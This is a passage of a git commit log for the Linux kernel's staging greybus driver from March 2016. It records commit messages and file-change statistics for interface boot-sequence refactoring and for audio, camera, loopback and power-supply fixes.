18:56:09 2016 -0400 greybus: interface: add ES2 init-status quirk flag Add ES2 init-status quirk flag instead of checking MID/PID directly. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 13 +++++++------ drivers/staging/greybus/interface.h | 1 + 2 files changed, 8 insertions(+), 6 deletions(-) commit 153ff7e76ddb2fd5ab3d790c0139154dfd5464f1 Author: Johan Hovold Date: Tue Mar 29 18:56:08 2016 -0400 greybus: interface: read DME attributes at activation Read the DDBL1 and Ara DME attributes when activating an interface. These values are currently provided by the SVC in the intf_hotplug request, which is about to go away. Note that there are currently no standard Ara VID and PID attributes and that Toshiba uses attributes from the reserved space in ES3. For now, we therefore refuse to enumerate any non-Toshiba bridges. Also note that the Ara serial number is currently not supported. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 72 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/interface.h | 1 - drivers/staging/greybus/svc.c | 18 ++++------ 3 files changed, 78 insertions(+), 13 deletions(-) commit af1471e7a903c18e98adf49fc9e2e444915b48c8 Author: Johan Hovold Date: Tue Mar 29 18:56:07 2016 -0400 greybus: greybus_protocols: rename NULL DME selector index Add NULL suffix to the don't-care DME selector index. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- drivers/staging/greybus/interface.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit e9f2f688d1a9434f615eec7180f14f0c52941bb9 Author: Johan Hovold Date: Tue Mar 29 18:56:06 2016 -0400 greybus: interface: clean up device-id handling Clean up the device id-handling and make sure we never allocate invalid device ids due to a missing upper bound. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.h | 2 -- drivers/staging/greybus/greybus_protocols.h | 9 +++++---- drivers/staging/greybus/interface.c | 25 +++++++++++-------------- drivers/staging/greybus/interface.h | 2 +- 4 files changed, 17 insertions(+), 21 deletions(-) commit 984c9d38ae370993f28b36c8be9923b1de39f5e7 Author: Johan Hovold Date: Tue Mar 29 18:56:05 2016 -0400 greybus: interface: deactivate interface on enumeration failure Deactivate an interface immediately on enumeration failure. Note that an interface is always registered. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 4d5f6218886e5d363cf41af5c5a51045f2722e50 Author: Johan Hovold Date: Tue Mar 29 18:56:04 2016 -0400 greybus: interface: move route creation to interface activation Creating and destroying a route to an interface is arguably an interface operation and belongs with the interface code. Add new interface_activate and interface_deactivate helpers that will be used to activate and deactivate an interface in the new interface boot sequence. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 81 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/interface.h | 2 + drivers/staging/greybus/svc.c | 81 +++++-------------------------------- drivers/staging/greybus/svc.h | 4 ++ 4 files changed, 96 insertions(+), 72 deletions(-) commit ec199ccdd2a3c215f5088052377f08a5855f560e Author: Johan Hovold Date: Tue Mar 29 18:56:03 2016 -0400 greybus: interface: clean up ES3-bootroom-quirk handling Clean up handling of the ES3-bootrom quirks by adding an interface quirk-flags field that is set appropriately when we detect that the ES3 bootrom is running. Note that we need to reserve the DME_DIS_UNIPRO_BOOT_STARTED and DME_DIS_FALLBACK_UNIPRO_BOOT_STARTED status values for the ES3 bootrom, which does not support any CPort features (unlike later boot stages). Add a BOOTROM infix to the defines to make this more clear. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 +++++-- drivers/staging/greybus/control.c | 3 +-- drivers/staging/greybus/greybus_protocols.h | 10 +++++----- drivers/staging/greybus/interface.c | 17 +++++++++++++---- drivers/staging/greybus/interface.h | 7 +++++-- 5 files changed, 29 insertions(+), 15 deletions(-) commit 133e366bbee53c76596df5da4bf6b32d0d9cb364 Author: Johan Hovold Date: Tue Mar 29 18:56:02 2016 -0400 greybus: interface: clean up and rename init-status helper Clean up and rename the interface-init-status helper. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 42 ++++++++++++++++++++----------------- 1 file changed, 23 insertions(+), 19 deletions(-) commit e12811eff7f9948d6cce661eef4a5910d747f194 Author: Johan Hovold Date: Tue Mar 29 18:56:01 2016 -0400 greybus: interface: fix es2 boot-status mask The ES2 boot status is stored in the least significant byte. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c2d80906fbe529ee4b1963bf83d84e53e02e44c2 Author: Johan Hovold Date: Tue Mar 29 18:56:00 2016 -0400 greybus: interface: move boot-status clearing to interface enable Reading and clearing the boot status of an interface is an interface operation and belongs in the interface code. As part of the reworked interface boot sequence, we also want to do this when enabling (enumerating) a Greybus interface. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 69 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/svc.c | 70 ------------------------------------- 2 files changed, 69 insertions(+), 70 deletions(-) commit 9ba486e3198eab8cd254c5089cc9f56b1d5b8d4c Author: Johan Hovold Date: Tue Mar 29 18:55:59 2016 -0400 greybus: svc: indent CPort flag defines properly Use tabs to indent CPort-flag values. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 601df8ff3ad2f88bdece80e71986b462da9c9b2e Author: Johan Hovold Date: Tue Mar 29 18:55:58 2016 -0400 greybus: greybus_protocols: remove bogus comment about svc bundle The SVC connection is special and does not belong to neither an interface or a bundle. Remove the unused SVC bundle-id define. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 5 ----- 1 file changed, 5 deletions(-) commit b5eebbf6a1f15273ce100ea14c9339d26c44e546 Author: Johan Hovold Date: Tue Mar 29 18:55:57 2016 -0400 greybus: svc: remove bogus interface-reset helper Remove unused, bogus interface-reset helper. The interface-reset operation is initiated by the SVC, not the AP. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 11 ----------- drivers/staging/greybus/svc.h | 1 - 2 files changed, 12 deletions(-) commit 1b4c4e98eb9dcf0dbe4d940c4485e81de64b0325 Author: Johan Hovold Date: Tue Mar 29 18:55:56 2016 -0400 greybus: greybus_protocols: align DME-attribute values Align the DME-attribute values in the protocol header. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b77e3e5658921537df925c03fd358c4818be6f52 Author: Johan Hovold Date: Wed Mar 30 16:53:17 2016 -0400 greybus: core: fix two container-of macros Fix two greybus container-of macros that used the pointer name for the member. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.h | 2 +- drivers/staging/greybus/svc.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit d764212f73cf270f10b041d8e26a8eb1ee7d4909 Author: Vaibhav Agarwal Date: Tue Mar 29 23:31:43 2016 +0530 greybus: audio: fix to resolve multiple audio module playback issue Cleanup APBridge sequence only in case of last module plugged-out. For other modules, unregister cportid is sufficient. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 37 ++++++++++++++++++++--------------- 1 file changed, 21 insertions(+), 16 deletions(-) commit 5793227cb037e4fddf1dc869b0e0abcc22646f6b Author: Vaibhav Agarwal Date: Tue Mar 29 23:31:42 2016 +0530 greybus: audio: Add module specific driver Use seperate driver to process GB Audio modules plugged-in. It'll use helper function register_module to attach itself to gbaudio-codec driver. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +- drivers/staging/greybus/audio_module.c | 309 +++++++++++++++++++++++++++++++++ 2 files changed, 312 insertions(+), 1 deletion(-) commit 6dd67645f22cfeb55a32e9a08c92deb297d06935 Author: Vaibhav Agarwal Date: Tue Mar 29 23:31:41 2016 +0530 greybus: audio: Use single codec driver registration We have single I2S port via APB1 for communication with all audio modules. Thus, we should register single codec driver and manage all individual audio modules internally within this driver. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 1413 +++++++++++++++++------------- drivers/staging/greybus/audio_codec.h | 96 +- drivers/staging/greybus/audio_topology.c | 408 ++++----- 3 files changed, 1046 insertions(+), 871 deletions(-) commit 0ec306324423444d3ee0222708ef9de7f5586b93 Author: Greg Kroah-Hartman Date: Tue Mar 22 14:30:35 2016 -0400 greybus: convert drivers to use connection->private set/get This converts all drivers to use the gb_connection_get_data() and gb_connection_set_data() functions to make it a bit more explicit as to what is going on. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 4 ++-- drivers/staging/greybus/camera.c | 6 +++--- drivers/staging/greybus/control.c | 2 +- drivers/staging/greybus/firmware.c | 12 +++++------- drivers/staging/greybus/gpio.c | 6 +++--- drivers/staging/greybus/hid.c | 4 ++-- drivers/staging/greybus/i2c.c | 4 ++-- drivers/staging/greybus/light.c | 4 ++-- drivers/staging/greybus/power_supply.c | 4 ++-- drivers/staging/greybus/pwm.c | 5 ++--- drivers/staging/greybus/sdio.c | 13 ++++++------- drivers/staging/greybus/spi.c | 6 +++--- drivers/staging/greybus/svc.c | 24 ++++++++++++------------ drivers/staging/greybus/uart.c | 12 ++++++------ drivers/staging/greybus/usb.c | 4 ++-- drivers/staging/greybus/vibrator.c | 2 +- 16 files changed, 54 insertions(+), 58 deletions(-) commit 418f3dab841f85e24beb6e30858cafce5cf1f87c Author: Greg Kroah-Hartman Date: Tue Mar 22 14:30:16 2016 -0400 greybus: connection: add functions to get/set private data Add gb_connection_get_data() and gb_connection_set_data() to get and set the private data of a connection, instead of "open coding" it everywhere. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 30b442b385c199b3f8e1df26fd6f0c07b61b32a2 Author: David Lin Date: Fri Mar 18 18:30:50 2016 -0700 greybus: greybus_trace: Fix broken greybus ftrace Enabling greybus ftrace event causes null pointer access due to that gb_message to SVC has no Bundle. Fix it by handling this in the trace header. Testing Done: $ echo 1 > /d/tracing/event/greybus/enable [002] ...1 54.504426: gb_message_send: greybus:1-svc op=0023 if_id=0 hd_id=0 l=0 [002] ...1 54.504461: gb_host_device_send: greybus:greybus1 if_id=0 l=8 Signed-off-by: David Lin Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 309520ec93f7190c0c3d22d613825a0835a8600f Author: Mark Greer Date: Thu Mar 17 10:32:37 2016 -0700 greybus: audio: Use CSD instead of E2EFC for audio data connections There is no reason to use end-to-end flow control for Greybus audio data connections so disable it and enable Controlled Segment Dropping (CSD). Testing Done: Played music using audio modules on an EVT1.5. CC: Vaibhav Agarwal CC: Johan Hovold Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit c3d77f71308e38ef98909c317c57d906f4d51cb9 Author: Gjorgji Rosikopulos Date: Mon Mar 14 18:44:53 2016 +0200 greybus: camera: Improve module registration mechanism Registering more then one module at same time was not possible with previous implementation. Also unregistering of the module was missing leading to many instability issues when camera module is ejected when camera is still active. Signed-off-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 25 +++++++++++++++++-------- drivers/staging/greybus/gb-camera.h | 15 ++++++++++++--- 2 files changed, 29 insertions(+), 11 deletions(-) commit a883b0eb434c6ad0237b559b1b5c8cee89ef6350 Author: Jacopo Mondi Date: Thu Mar 17 11:02:03 2016 +0100 greybus: camera: Register capabilities operation Register the greybus camera driver capabilities operation to the ara_camera subdevice Signed-off-by: Jacopo Mondi Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 48b15a9b119d945933bfed6204d51e071d35328b Author: Laurent Pinchart Date: Thu Mar 17 11:02:02 2016 +0100 greybus: camera: Implement the capabilities operation The operation queries the camera module for its capabilities. The debugfs interface just prints a hex dump of the binary message. Signed-off-by: Laurent Pinchart Signed-off-by: Jacopo Mondi Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 60 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) commit f8811c7630912617d1bc0e0b18e3221fec26f9cf Author: Sandeep Patil Date: Tue Mar 15 12:28:38 2016 -0700 greybus: power_supply: reverse version check for new psy API Reversing the kernel version check for new power supply APIs will easily allow us to use older kernels with backported power supply APIs by defining "CORE_OWNS_PSY_STRUCT" in power supply core header Testing Done: - Build tested with arche kernel with backported power supply APIs - Build tested also with current arche kernel to make sure we build with 3.10 kernels Signed-off-by: Sandeep Patil Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 4 ++-- drivers/staging/greybus/power_supply.c | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) commit 3b90040de82a43ee0538d36b32c9fa4cbbab59c6 Author: Axel Haslam Date: Fri Mar 11 13:19:30 2016 +0100 greybus: loopback_test: handle SIGINT signal Adding a default timeout may not be representative of every usecase for gb_loopback. Also, tests may continue to run on the driver in case of a timeout. To avoid adding a default timeout, handle SIGINT so that when the user presses ctrl-c the test are stoped. The user can still specify a timeout value with the -O option. Signed-off-by: Axel Haslam Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 53 ++++++++++++++++++++------- 1 file changed, 40 insertions(+), 13 deletions(-) commit fece9c87cb80aceec7dd0205a77c37ff7ba831fe Author: Bryan O'Donoghue Date: Wed Mar 16 11:29:59 2016 +0000 greybus: Ensure gb->mutex is held when adding timer Currently in loopback on the async path we issue an operation and then add a timer to time-out that operation should it fail to complete. Looking at a backtrace given in its feasible op_async->pending can be true and del_timer() can run before add_timer() has run. In the callback handler we already hold gb->mutex. This patch fixes that potential race by ensuring we hold gb->mutex both when we are adding and when we are removing the relevant timer. Signed-off-by: Bryan O'Donoghue Reported-and-tested-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 1dc8d3d7c568d9a80fa20570a764da57677f1050 Author: Alexandre Bailon Date: Fri Mar 11 17:23:37 2016 +0100 greybus: loopback: Fix broken loopback min values Currently, when a loopback test completely fail, loopback will return 4294967295 for every min value. Return 0 instead of 4294967295 in such case. Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 +++ 1 file changed, 3 insertions(+) commit d18da86b51c135100e297a9833bcdc586e68a84b Author: Johan Hovold Date: Wed Mar 9 12:20:46 2016 +0100 greybus: greybus_protocols: remove svc-eject timeout define The SVC eject timeout is implementation specific and does not belong in the protocol header so move it to the svc module. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 - drivers/staging/greybus/svc.c | 4 +++- 2 files changed, 3 insertions(+), 2 deletions(-) commit e676ccd7134ae9e73d2f82446cef011a12f30e9b Author: Johan Hovold Date: Wed Mar 9 12:20:45 2016 +0100 greybus: svc: print an error message on failed eject attempts Print an error message when the SVC fails to eject an interface. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit c80514a39a407caa5565450063ac1af42381636a Author: Johan Hovold Date: Wed Mar 9 12:20:44 2016 +0100 greybus: svc: unexport eject helper Do no export the interface-eject helper, which is only supposed to be used by core. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 1 - 1 file changed, 1 deletion(-) commit 629c0d007de962bb4edca7b959cebebb29746e90 Author: Johan Hovold Date: Wed Mar 9 12:20:43 2016 +0100 greybus: interface: separate disabling from removal Separate interface disable from interface removal. Disabling an interface means tearing down its control connection and destroying (i.e. deregistering and releasing) its bundles, while removing it means deregistering and releasing the interface itself. This is needed to implement controlled module removal, where the module interfaces are disabled before being physically ejected. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 62 +++++++++++++++++++------------------ drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 11 +++---- 3 files changed, 38 insertions(+), 36 deletions(-) commit 35580af0bd620056506ed51fff024fc4ade66f67 Author: Johan Hovold Date: Wed Mar 9 12:20:42 2016 +0100 greybus: interface: rename initialisation function Rename the interface-initialisation function gb_interface_enable(), which is more descriptive. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 4 ++-- drivers/staging/greybus/interface.h | 2 +- drivers/staging/greybus/svc.c | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) commit 66d674cfafb2be4002265e6081a1580d0ea461f7 Author: Johan Hovold Date: Wed Mar 9 12:20:41 2016 +0100 greybus: interface: move interface-removal helper Move helper to remove all interfaces of a host-device to the svc code and call it when removing the svc device as this needs to be coordinated with flushing the SVC work queue. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 1 - drivers/staging/greybus/interface.c | 8 -------- drivers/staging/greybus/interface.h | 1 - drivers/staging/greybus/svc.c | 10 ++++++++++ 4 files changed, 10 insertions(+), 10 deletions(-) commit 64acb6611f3c17251347870e73ddc106fed807cb Author: Johan Hovold Date: Wed Mar 9 12:20:40 2016 +0100 greybus: interface: remove useless spinlock Remove useless global interface spinlock that appeared to protect the host-device interface list, but really did not as we are doing lock-less look-ups by relying on the single-threaded SVC workqueue. Document the locking assumptions. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit 11548c8327000302cfaaf7bcac02a3ccf14c2db1 Author: Johan Hovold Date: Wed Mar 9 12:20:39 2016 +0100 greybus: interface: disable control connection on initialisation errors Disable the control connection immediately on any errors during interface initialisation as there's no need to keep it around for an interface in an error state. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 986d6911083150a15b723b33f9aaaf5744b84a84 Author: Johan Hovold Date: Wed Mar 9 12:20:38 2016 +0100 greybus: svc: always register interfaces at hotplug Always register interfaces at hotplug regardless of whether initialisation succeeded or not. Even if a module failed to initialise we want it to have a representation while it is physically present. Note that the vendor and product-string attribute will read as "(null)" for now on an interface that failed (early) initialisation. Also note that the switch route is kept until the interface is finally removed also on initialisation errors. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) commit a77660a75a3f79c71064dc6848a2975731ca5c00 Author: Johan Hovold Date: Wed Mar 9 12:20:37 2016 +0100 greybus: interface: free bundles on initialisation errors Immediately free any created bundle structures on interface initialisation errors. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) commit 7a137fb290df63f24242fc4996decd0b339ba3b1 Author: Johan Hovold Date: Wed Mar 9 12:20:36 2016 +0100 greybus: interface: separate initialisation and registration Separate interface initialisation from registration of the interface and its bundles. This is a step towards registering also interfaces that failed to initialise (e.g. a dummy interface). Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 31 +++++++++++++++++-------------- drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 4 ++++ 3 files changed, 22 insertions(+), 14 deletions(-) commit 39495a2bea4d523c4d36f28f3739caa8d3a404c4 Author: Johan Hovold Date: Wed Mar 9 12:20:35 2016 +0100 greybus: svc: refactor interface-route destruction Add interface-route-destroy helper to tear down the route and release the interface device id. Note that we currently need to grab a reference to the interface to prevent it from being deallocated before tearing down the route. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit bb2533a9742f19bfe6b87b64d54e846674e467d1 Author: Johan Hovold Date: Wed Mar 9 12:20:34 2016 +0100 greybus: svc: refactor interface-route creation Add interface-route-create helper to allocate an interface device id and setup the route. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 4 +- drivers/staging/greybus/interface.h | 2 +- drivers/staging/greybus/svc.c | 106 +++++++++++++++++++++--------------- 3 files changed, 64 insertions(+), 48 deletions(-) commit 60269b958ea127a46be9caf0deff931384c4dd2f Author: Johan Hovold Date: Wed Mar 9 12:20:33 2016 +0100 greybus: interface: add comment about early control-connection disable Add comment about why the control connection is disabled early when the interface is already gone. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 4 ++++ 1 file changed, 4 insertions(+) commit 52bbd5b3a04816cdd65605c53dd033d3d987cfee Author: Johan Hovold Date: Wed Mar 9 12:20:32 2016 +0100 greybus: interface: remove unused drvdata helpers Remove the unused interface drvdata helpers along with some dubious comments about public and private definitions. Greybus drivers bind to bundles and should be using the greybus_set_drvdata and greybus_get_drvdata helpers. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 14 -------------- 1 file changed, 14 deletions(-) commit 83a124e2c57afee205284f8d5263252a4b8bbfac Author: Johan Hovold Date: Wed Mar 9 12:20:31 2016 +0100 greybus: interface: remove unused function prototype Remove unused gb_interface_destroy() prototype. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 1 - 1 file changed, 1 deletion(-) commit 01480ba336982d49e2208636e38c0a80b732eba8 Author: Alexandre Bailon Date: Tue Mar 8 17:40:16 2016 +0100 greybus: loopback: Fix broken synchonous test loopback driver use the send_count variable to know the test progress. The test may be stopped or change but this variable is never cleaned. Such situation may break the next run. Signed-off-by: Alexandre Bailon Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 58a527afff2b27bc912dbb7111d3f23d4f28105b Author: Alexandre Bailon Date: Tue Mar 8 16:37:37 2016 +0100 greybus: loopback: round closest the sixth decimal The original round was removed becaused it was rounding the integer whereas we had decimals. Round the sixth decimal. Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 89ec14ceaedf887fb666f09e1b768afdc32cb291 Author: Alexandre Bailon Date: Tue Mar 8 16:37:36 2016 +0100 greybus: loopback: Fix warning on 32-bit build gb_loopback_ro_avg_attr() is using "/" to divide two 64-bit integer, causing a reference to __aeabi_uldivmod() that is not availalbe on 32-bit. Instead, use do_div(). Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a23aa56452a8c705c7da62e9eda4c2fafd837829 Author: Johan Hovold Date: Wed Mar 9 16:13:55 2016 +0100 greybus: greybus_manifest: remove unused SVC class Mark the SVC Bundle-class id as unused. Signed-off-by: Johan Hovold Reviewed-by: Jeffrey Carlyle Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9230e298cf49761abbf5893125fc20ad286cff5b Author: Johan Hovold Date: Tue Mar 8 16:50:43 2016 +0100 greybus: greybus_manifest: remove unused AP class and protocol Mark the AP Bundle-class and protocol ids as unused. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4b82dd7be3d3ea62c634bda6bd01666912bc7e79 Author: Axel Haslam Date: Tue Mar 8 10:03:40 2016 +0100 greybus: loopback_test: Use timeout argument Patch "c3b0a32 Loopback_test: use poll instead of inotify" added a optional argument for the user to specify a timeout value, but did not use this parameter in the actual poll function. The default of 30 seconds is always used. Fix this by actually using the the poll_timeout parameter so the user can run long tests. Signed-off-by: Axel Haslam Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7fe9301422444a1fca71bb8c4c0673fb44eb0f2d Author: David Lin Date: Mon Mar 7 21:52:54 2016 -0800 greybus: arche-platform: fix incorrect gpio variable type GPIO number obtained from of_get_named_gpio() should be signed to allow error handling. Testing Done: Built & booted on EVT1.5 Signed-off-by: David Lin Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 2 +- drivers/staging/greybus/arche-platform.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 9fa3a9b8cb7e04b600166049424d01b428a251ad Author: Greg Kroah-Hartman Date: Fri Mar 4 18:40:02 2016 -0800 greybus: properly annotate struct gb_control_timesync_enable_request A patch from created struct gb_control_timesync_enable_request, but forgot to properly annotate that the fields are little-endian. The code is correct in treating them this way, so there isn't a bug, but sparse complains. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 53f965065a5eb067621e4734fee9719942976a86 Author: Fabien Parent Date: Fri Mar 4 17:32:20 2016 +0100 greybus: camera: disable E2EFC on CSI connection Following Toshiba's recommendation we shouldn't use E2EFC on a CSI connection. Disable E2EFC on the CSI connection. Signed-off-by: Fabien Parent Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit aa2a5459aa167814f847afb05c262c1f29dc9c6a Author: Johan Hovold Date: Thu Mar 3 13:34:40 2016 +0100 greybus: hd: rename CPort-features callbacks Rename the CPort-features callbacks, that are not just used to enable FCT flow, to the more descriptive cport_features_enable/disable. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 22 ++++++++++++---------- drivers/staging/greybus/es2.c | 16 ++++++++-------- drivers/staging/greybus/greybus_protocols.h | 6 +++--- drivers/staging/greybus/hd.h | 4 ++-- 4 files changed, 25 insertions(+), 23 deletions(-) commit 64a6d1388432704c9205fee04be8e6df45fc563b Author: Johan Hovold Date: Thu Mar 3 13:34:39 2016 +0100 greybus: connection: add CSD connection flag Add CSD connection flag that can be specified when allocating a connection to enable Controlled Segment Dropping in favour of E2EFC which is enabled by default. Note that most connections are expected to have E2EFC enabled. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/connection.h | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) commit 27f25c17ad7fa2b24a24a4e617077dec20a026ce Author: Johan Hovold Date: Thu Mar 3 13:34:38 2016 +0100 greybus: connection: generalise CPortFlags handling Generalise the svc connection-create helper to accept a cport-flags argument and handle the flags in the connection code instead. Note that the camera driver currently manages its data connection directly. We keep E2EFC enabled for now even though it will soon need to be disabled due to some pending firmware updates. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold 